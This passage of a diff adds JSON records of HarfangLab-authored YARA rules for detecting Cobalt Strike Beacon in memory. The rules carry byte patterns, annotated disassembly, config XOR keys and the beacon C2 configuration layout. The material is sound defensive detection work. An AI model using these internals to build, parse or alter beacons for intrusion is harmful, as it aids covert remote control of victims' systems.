?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n    }\n\n    $beacon_config_decrypt = {\n        (31|33|29) C0             // xor eax, eax or sub eax, eax\n                                  // loop_label:\n        80 b0 ?? ?? ?? ?? (2e|69) // xor byte ptr [eax+0xXX], (0x2e | 0x69)\n        40                        // inc eax\n        3D 00 10 00 00            // cmp eax, 0x1000\n        7C F1                     // jl short loop_label\n    }\n\n    // Cobalt Strike always format C2 configuration the same way but use different xored keys depending of the version.\n    //\n    // C2 configuration xored keys:\n    // - 3.x: 0x69\n    // - 4.x: 0x2E\n    //\n    // C2 configuration format is the following:\n    // - config_setting_type (u16): the setting type of this entry.\n    // - data_type (u16): the type of the data in this entry\n    // - data_size (u16): the size of the data in this entry.\n    // - data (variable): the data of this entry.\n    //\n    // config_setting_type is defined as the following:\n    // - BEACON_CONFIG_SETTING_PROTOCOL = 0x1\n    // - BEACON_CONFIG_SETTING_PORT = 0x2\n    // - BEACON_CONFIG_SETTING_SLEEPTIME = 0x3\n    // - BEACON_CONFIG_SETTING_MAXGET = 0x4\n    // - BEACON_CONFIG_SETTING_JITTER = 0x5\n    // - BEACON_CONFIG_SETTING_MAXDNS = 0x6\n    // - BEACON_CONFIG_SETTING_PUBKEY = 0x7\n\n    $beacon_c2_xored_3xx = {\n        69 68 69 68 69 6B ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_PROTOCOL, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n        69 6B 69 68 69 6B ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_PORT, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n        69 6A 69 6B 69 6D ?? ?? ?? ?? // config_setting_type: BEACON_CONFIG_SETTING_SLEEPTIME, data_type: BEACON_CONFIG_TYPE_INT, data_size: 4\n        69 6D 69 6B 69 6D ?? ?? ?? ?? // config_setting_type: BEACON_CONFIG_SETTING_MAXGET, data_type: BEACON_CONFIG_TYPE_INT, data_size: 4\n        69 6C 69 68 69 6B ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_JITTER, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n        69 6F 69 68 69 6B ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_MAXDNS, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n        69 6E 69 6A 68 69             // config_setting_type: BEACON_CONFIG_SETTING_PUBKEY, data_type: BEACON_CONFIG_TYPE_PTR, data_size: 0x100\n    }\n\n    $beacon_c2_xored_4xx = {\n        2E 2F 2E 2F 2E 2C ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_PROTOCOL, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n        2E 2C 2E 2F 2E 2C ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_PORT, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n        2E 2D 2E 2C 2E 2A ?? ?? ?? ?? // config_setting_type: BEACON_CONFIG_SETTING_SLEEPTIME, data_type: BEACON_CONFIG_TYPE_INT, data_size: 4\n        2E 2A 2E 2C 2E 2A ?? ?? ?? ?? // config_setting_type: BEACON_CONFIG_SETTING_MAXGET, data_type: BEACON_CONFIG_TYPE_INT, data_size: 4\n        2E 2B 2E 2F 2E 2C ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_JITTER, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n        2E 28 2E 2F 2E 2C ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_MAXDNS, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n        2E 29 2E 2D 2F 2E             // config_setting_type: BEACON_CONFIG_SETTING_PUBKEY, data_type: BEACON_CONFIG_TYPE_PTR, data_size: 0x100\n    }\n\n    condition:\n        1 of ($inline_execute_function_*) or ((4 of ($clear_string_*) or 1 of ($beacon_c2_xored_*)) and $beacon_config_decrypt)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_beacon_7f9c58fac468"
+  ],
+  "rule_creation_date": "2020-12-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_beacon_add34c51721d_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581155Z",
+  "creation_date": "2026-03-23T11:46:25.581158Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581163Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_beacon_add34c51721d.yar",
+  "content": "rule cobalt_strike_beacon_add34c51721d {\n    meta:\n        title = \"Cobalt Strike Beacon (add34c51721d)\"\n        id = \"f3f51583-389c-41ff-9788-add34c51721d\"\n        description = \"Detects an x64 Cobalt Strike Beacon in memory. Cobalt Strike is a commercial remote access tool used for adversary simulation. This rule detects the beacon by identifying specific patterns such as command handlers, configuration decryption, and C2 communication attempts. It is recommended to isolate the system and analyze the process for any signs of unauthorized activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2020-12-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n\n        $command_handler_pattern = {\n            4C 8D 05 ?? ?? FF FF // lea r8, [rip - X] // load send_data_callback\n            8B D0                // mov edx, eax // payload_length\n            49 8B CA             // mov rcx, r10 // payload\n            48 83 C4 28          // add rsp, 0x28\n            E9 ?? ?? ?? ??       // jmp X // jump to command handler\n        }\n\n        // \"HTTP/1.1 200 OK\\r\\nContent-Type: application/octet-stream\\r\\nContent-Length: %d\\r\\n\\r\\n\"\n        $clear_string_http_header = {\n            48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D\n            0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61\n            70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74\n            2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74\n            2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A 0D 0A 00\n        }\n\n        $clear_string_uid_fmt = \"%s (admin)\" ascii\n        $clear_string_uid_admin_fmt = \"%s (admin)\" ascii\n        $clear_string_psexec_service_start_fmt = \"Started service %s on %s\" ascii\n        $clear_string_psexec_service_error_fmt = \"%s on %s: %d\" ascii\n        $clear_string_start_as_user_error_fmt = \"%s as %s\\\\%s: %d\" ascii\n\n        // NOTE: inline_execute is not present on Cobalt Strike 3\n        $inline_execute_function_40 = {\n            48 8B 05 ?? ?? ?? ?? // mov rax, qword ptr [rip + X]\n            48 8B F1             // mov rsi, rcx\n            4D 89 43 E0          // mov [r11 - 0x20], r8\n            49 89 43 A8          // mov [r11 - 0x58], rax\n            48 8B 05 ?? ?? ?? ?? // mov rax, qword ptr [rip + X]\n            45 89 4B E8          // mov [r11 - 0x18], r9d\n            49 89 43 B8          // mov [r11 - 0x48], rax\n            48 8B 05 ?? ?? ?? ?? // mov rax, qword ptr [rip + X]\n            8B FA                // mov edi, edx\n            49 89 43 B0          // mov [r11 - 0x50], rax\n            48 8d 05 ?? ?? ?? ?? // lea rax, [rip + X]\n            41 B9 40 00 00 00    // mov r9d, 0x40 // PAGE_EXECUTE_READWRITE\n            49 89 43 C0          // mov [r11 - 0x40], rax\n            48 8d 05 ?? ?? ?? ?? // lea rax, [rip + X]\n            41 B8 00 30 00 00    // mov r8d, 3000 // MEM_COMMIT | MEM_RESERVE\n            49 89 43 C8          // mov [r11 - 0x38], rax\n            48 8d 05 ?? ?? ?? ?? // lea rax, [rip + X]\n            8B D2                // mov edx, edx // size arg\n            49 89 43 D0          // mov [r11 - 0x30], rax\n            48 8d 05 ?? ?? ?? ?? // lea rax, [rip + X]\n            33 C9                // xor ecx, ecx\n            49 89 43 D8          // mov [r11 - 0x28], rax\n            FF 15 ?? ?? ?? ??    // call [rip + X]\n            48 8B D8             // mov rbx, rax\n            48 85 C0             // test rax, rax\n            74 ??                // jz X\n            4C 8B C7             // mov r8, rdi\n            48 8B D6             // mov rdx, rsi\n            48 8B C8             // mov rcx, rax\n            E8 ?? ?? ?? ??       // call X\n            48 8D 4C 24 20       // lea rcx, [rsp + 0x20]\n            FF D3                // call rbx\n            41 B8 00 80 00 00    // mov r8d, 0x8000 // MEM_RELEASE\n            48 8B D7             // mov rdx, rdi\n            48 8B CB             // mov rcx, rbx\n            FF 15 ?? ?? ?? ??    // call [rip + X]\n        }\n\n        // NOTE: Cobalt Strike 4.2 extended the inline_execute method effectively uninlining it. We match on the context creation function.\n        $inline_execute_function_42 = {\n            48 8B 05 ?? ?? ?? ??   // mov rax, qword ptr [rip + 0xXX]\n            48 89 03               // mov qword ptr [rbx], rax\n            48 8B 05 ?? ?? ?? ??   // mov rax, qword ptr [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8B 05 ?? ?? ?? ??   // mov rax, qword ptr [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8B 05 ?? ?? ?? ??   // mov rax, qword ptr [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 43 ??            // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n            48 8D 05 ?? ?? ?? ??   // lea rax, [rip + 0xXX]\n            48 89 83 ?? ?? ?? ??   // mov qword ptr [rbx + 0xXX], rax\n        }\n\n        $beacon_config_decrypt = {\n            (48 8D 2D ?? ?? ?? 00|  // lea rbp, qword_3B8D0+0B69h\n            41 8B ??)               // mov eax, r15d\n                                // loop_label:\n            80 34 28 ??             // xor byte ptr [rax+rbp], 0xXX\n            48 FF C0                // inc rax\n            48 3D 00 10 00 00       // cmp rax, 0x1000\n            7C F1                   // jl short loop_label\n        }\n\n        // Cobalt Strike always format C2 configuration the same way but use different xored keys depending of the version.\n        //\n        // C2 configuration xored keys:\n        // - 3.x: 0x69\n        // - 4.x: 0x2E\n        //\n        // C2 configuration format is the following:\n        // - config_setting_type (u16): the setting type of this entry.\n        // - data_type (u16): the type of the data in this entry\n        // - data_size (u16): the size of the data in this entry.\n        // - data (variable): the data of this entry.\n        //\n        // config_setting_type is defined as the following:\n        // - BEACON_CONFIG_SETTING_PROTOCOL = 0x1\n        // - BEACON_CONFIG_SETTING_PORT = 0x2\n        // - BEACON_CONFIG_SETTING_SLEEPTIME = 0x3\n        // - BEACON_CONFIG_SETTING_MAXGET = 0x4\n        // - BEACON_CONFIG_SETTING_JITTER = 0x5\n        // - BEACON_CONFIG_SETTING_MAXDNS = 0x6\n        // - BEACON_CONFIG_SETTING_PUBKEY = 0x7\n\n        $beacon_c2_xored_3xx = {\n            69 68 69 68 69 6B ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_PROTOCOL, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n            69 6B 69 68 69 6B ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_PORT, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n            69 6A 69 6B 69 6D ?? ?? ?? ?? // config_setting_type: BEACON_CONFIG_SETTING_SLEEPTIME, data_type: BEACON_CONFIG_TYPE_INT, data_size: 4\n            69 6D 69 6B 69 6D ?? ?? ?? ?? // config_setting_type: BEACON_CONFIG_SETTING_MAXGET, data_type: BEACON_CONFIG_TYPE_INT, data_size: 4\n            69 6C 69 68 69 6B ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_JITTER, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n            69 6F 69 68 69 6B ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_MAXDNS, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n            69 6E 69 6A 68 69             // config_setting_type: BEACON_CONFIG_SETTING_PUBKEY, data_type: BEACON_CONFIG_TYPE_PTR, data_size: 0x100\n        }\n\n        $beacon_c2_xored_4xx = {\n            2E 2F 2E 2F 2E 2C ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_PROTOCOL, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n            2E 2C 2E 2F 2E 2C ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_PORT, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n            2E 2D 2E 2C 2E 2A ?? ?? ?? ?? // config_setting_type: BEACON_CONFIG_SETTING_SLEEPTIME, data_type: BEACON_CONFIG_TYPE_INT, data_size: 4\n            2E 2A 2E 2C 2E 2A ?? ?? ?? ?? // config_setting_type: BEACON_CONFIG_SETTING_MAXGET, data_type: BEACON_CONFIG_TYPE_INT, data_size: 4\n            2E 2B 2E 2F 2E 2C ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_JITTER, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n            2E 28 2E 2F 2E 2C ?? ??       // config_setting_type: BEACON_CONFIG_SETTING_MAXDNS, data_type: BEACON_CONFIG_TYPE_SHORT, data_size: 2\n            2E 29 2E 2D 2F 2E             // config_setting_type: BEACON_CONFIG_SETTING_PUBKEY, data_type: BEACON_CONFIG_TYPE_PTR, data_size: 0x100\n        }\n\n        // Detection for these samples:\n        // 0c6f81baf945c70cbae9b012e2ffa60e2a178643ae47fbba1a7e0fb2d58f9a7a\n        // a31dd4dbed030fa616e591a7f181916b2aa4505ccc7681441de6a7ed8679d932\n        // d47a55e6d3f1c6fde03f1aec27d434b67c1b0c35f1999597006d640bf73ddede\n        $after_beacon_config_decrypt = {\n            B8 56 55 55 55                // mov     eax, 55555556h\n            41                            // inc     ecx\n            F7 E8                         // imul    eax\n            8B CA                         // mov     ecx, edx\n            C1 E9 1F                      // shr     ecx, 1Fh\n            03 D1                         // add     edx, ecx\n            8D 04 52                      // lea     eax, [edx+edx*2]\n            41                            // inc     ecx\n            8B D0                         // mov     edx, eax\n            45                            // inc     ebp\n            03 C6                         // add     eax, esi\n            2B D0                         // sub     edx, eax\n            41                            // inc     ecx\n            0F BE 01                      // movsx   eax, byte ptr [ecx]\n            4D                            // dec     ebp\n            03 CE                         // add     ecx, esi\n            41                            // inc     ecx\n            03 D6                         // add     edx, esi\n            0F B6 C8                      // movzx   ecx, al\n            B8 2F 77 CC AB                // mov     eax, 0ABCC772Fh\n            0F AF D1                      // imul    edx, ecx\n            03 D7                         // add     edx, edi\n            8B FA                         // mov     edi, edx\n            F7 E2                         // mul     edx\n            C1 EA 1A                      // shr     edx, 1Ah\n            69 D2 FF E0 F5 05             // imul    edx, 5F5E0FFh\n            2B FA                         // sub     edi, edx\n            44                            // inc     esp\n            3B C6                         // cmp     eax, esi\n            7C BB                         // jl      short loc_18C78\n        }\n\n    condition:\n        (\n            (\n                #command_handler_pattern >= 16 or\n                1 of ($inline_execute_function_*) or\n                4 of ($clear_string_*) or\n                1 of ($beacon_c2_xored_*)\n            ) and $beacon_config_decrypt\n        ) or\n        $after_beacon_config_decrypt\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_beacon_add34c51721d"
+  ],
+  "rule_creation_date": "2020-12-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_beacon_f1403adf86ad_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581056Z",
+  "creation_date": "2026-03-23T11:46:25.581058Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581064Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_beacon_f1403adf86ad.yar",
+  "content": "rule cobalt_strike_beacon_f1403adf86ad {\n    meta:\n        title = \"Cobalt Strike Beacon (f1403adf86ad)\"\n        id = \"f00b345a-92d4-456a-b8b7-f1403adf86ad\"\n        description = \"Detects Cobalt Strike Beacons.\\nCobalt Strike is a commercial Command & Control (C2) framework. While designed as a legitimate red team tool for security professionals, it has become one of the most widely abused frameworks in cybercrime and state-sponsored operations.\\nIt is recommended to analyze HTTP/HTTPS and DNS requests for unusual patterns, as well as to identify any SMB named pipe communications and any unusual process activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2025-11-06\"\n        modified = \"2025-11-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // f2bb8708af4cf0750daa836dd57a0519af51afb0692223d1cd1a5ca26fa2cb26\n        // b6583ec570937b0f5a1dcb38dd3a513373e4ba1c208974b0aebf4f7a750b9fc5\n        // 5622932faa8a67661713095a0203255c148c7de677bc3ce0bb692971f5705f95\n\n        $breakpoint_guard = {\n            48 89 4C 24 08      // mov     qword [rsp+0x8 {arg_8}], rcx\n            CC                  // int3\n            90 90 90 90 90 90   // nop\n        }\n\n        $config_decryption_single_xor = {\n            81 7C [4-6]         // cmp     dword [rsp+0x3c {i}], 0x1000\n            7D ??               // jge     0x1800350ee\n\n            48 63 44 24 ??      // movsxd  rax, dword [rsp+0x3c {i}]\n            48 8D 0D [4]        // lea     rcx, [rel encrypted_config]\n            0F BE 04 01         // movsx   eax, byte [rcx+rax]\n            83 F0 ??            // xor     eax, 0x2f\n            48 63 4C 24 ??      // movsxd  rcx, dword [rsp+0x3c {i}]\n            48 8D 15 [4]        // lea     rdx, [rel data_75040]\n            88 04 0A            // mov     byte [rdx+rcx], al\n            EB                  // jmp     0x1800350b6\n        }\n\n        $config_decryption_double_xor = {\n            81 7C [4-6]         // cmp     dword [rsp+0x38 {i}], 0x1000\n            7D ??               // jge     0x1800350ee\n\n            48 63 44 24 ??      // movsxd  rax, dword [rsp+0x3c {i}]\n            48 8D 0D [4]        // lea     rcx, [rel encrypted_config]\n            0F BE 04 01         // movsx   eax, byte [rcx+rax]\n            83 F0 ??            // xor     eax, 0x2f\n            48 63 4C 24 ??      // movsxd  rcx, dword [rsp+0x3c {i}]\n            48 8D 15 [4]        // lea     rdx, [rel data_75040]\n            88 04 0A            // mov     byte [rdx+rcx], al\n            48 63 44 24 ??      // movsxd  rax, dword [rsp+0x38 {i}]\n            48 8D 0D [4]        // lea     rcx, [rel data_75040]\n            0F BE 04 01         // movsx   eax, byte [rcx+rax]\n            35 [4]              // xor     eax, 0xec\n            48 63 4C 24 ??      // movsxd  rcx, dword [rsp+0x38 {i}]\n            48 8D 15 [4]        // lea     rdx, [rel data_75040]\n            88 04 0A            // mov     byte [rdx+rcx], al\n            EB                  // jmp     0x2d686\n        }\n\n    condition:\n        1 of ($config_decryption_*) and $breakpoint_guard\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_beacon_f1403adf86ad"
+  ],
+  "rule_creation_date": "2025-11-06",
+  "rule_modified_date": "2025-11-12",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_beacon_magic_mz_3c65ae1c6a7f_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570938Z",
+  "creation_date": "2026-03-23T11:46:25.570941Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.570946Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/\nhttps://www.redteam.cafe/red-team/shellcode-injection/magic_mz_x86-and-magic_mz_x64"
+  ],
+  "name": "cobalt_strike_beacon_magic_mz_3c65ae1c6a7f.yar",
+  "content": "rule cobalt_strike_beacon_magic_mz_3c65ae1c6a7f {\n    meta:\n        title = \"Cobalt Strike Beacon magic_mz (3c65ae1c6a7f)\"\n        id = \"28049624-5723-4667-9976-3c65ae1c6a7f\"\n        description = \"Detects Cobalt Strike Beacon instances using the magic_mz_x64 malleable profile in memory.\\nCobalt Strike Beacon is a popular post-exploitation tool that uses malleable profiles to alter its behavior. The magic_mz_x64 profile is used to inject shellcode into processes, creating a persistence mechanism. This rule detects the specific patterns associated with this profile's execution in memory.\\nIt is recommended to monitor process creation and network communication for signs of Cobalt Strike activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\\nhttps://www.redteam.cafe/red-team/shellcode-injection/magic_mz_x86-and-magic_mz_x64\"\n        date = \"2022-03-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.execution\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // set magic_mz_x64 \"MZAR\";\n        $region0 = {\n            4D 5A                                         // pop     r10             ; PE magic number\n            41 52                                         // push    r10             ; Bytes on last page of file\n            //(55|52 55|45 52 55|54 45 52 55)               // push    rbp             ; Pages in file\n            [1-4]\n            48 89 E5                                      // mov     rbp, rsp\n            48 81 EC 20 00 00 00                          // sub     rsp, 20h        ; Size of header in paragraphs\n            48 8D 1D EA FF FF FF                          // lea     rbx, __ImageBase\n            48 89 DF                                      // mov     rdi, rbx        ; Initial (relative) CS value\n            48 81 C3 ?? ?? ?? 00                          // add     rbx, 15F88h\n            FF D3                                         // call    rbx ; loc_180015F88\n        }\n\n        // set magic_mz_x64 \"AXAP\";\n        $region1 = {\n            41 58                                         // pop     r8\n            41 50                                         // push    r8\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 81 EC 20 00 00 00                          // sub     